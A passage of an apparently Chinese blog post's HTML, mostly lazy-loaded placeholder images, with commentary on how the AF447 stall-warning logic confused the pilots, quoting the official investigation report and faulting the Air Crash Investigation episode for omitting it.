au9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/3-2-aci.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/3-3-aci.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/3-4-aci.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/3-1-fdr.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/3-2-fdr.png" alt=""></p><br><p>此时,由于空速过低(三根皮托管测出的空速数据都小于60 kt),飞机认为这是电脑出了故障而抑制了失速警告,随后飞行员曾多次尝试推杆降低攻角,这使得空速回升,虽然还是失速但电脑认为这个值是有效的,再次触发了失速警告,这使得飞行员更加困惑;而如此重要的信息ACI里竟然一句都没提。<br>调查报告原文:</p><blockquote><p>At around 2 h 11 min 42, the Captain re-entered the cockpit. During the following seconds, all of the recorded speeds became invalid and the stall warning stopped, after having sounded continuously for 54 seconds.</p></blockquote><blockquote><p>At 2 h 12 min 02, the PF said, “I have no more displays”, and the PNF “we have no valid indications”. At that moment, the thrust levers were in the IDLE detent and the engines’ N1’s were at 55%. Around fifteen seconds later, the PF made pitch-down inputs. In the following moments, the angle of attack decreased, the speeds became valid again and the stall warning triggered again.</p></blockquote><blockquote><p>If the CAS measurements for the three ADR are lower than 60 kt, the angle of attack values of the three ADR are invalid and the stall warning is then inoperative. This results from a logic stating that the airflow must be sufficient to ensure a valid measurement by the angle of attack sensors, especially to prevent spurious warnings.</p></blockquote><p>在这种情况下,飞行员不会相信失速警告因为它表现得和以前他们所学到的内容完全相反;飞行员会本能地拉着杆让失速警告停止,殊不知这样会让情况更加恶化。<br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/4-1-fdr.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/4-2-fdr.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2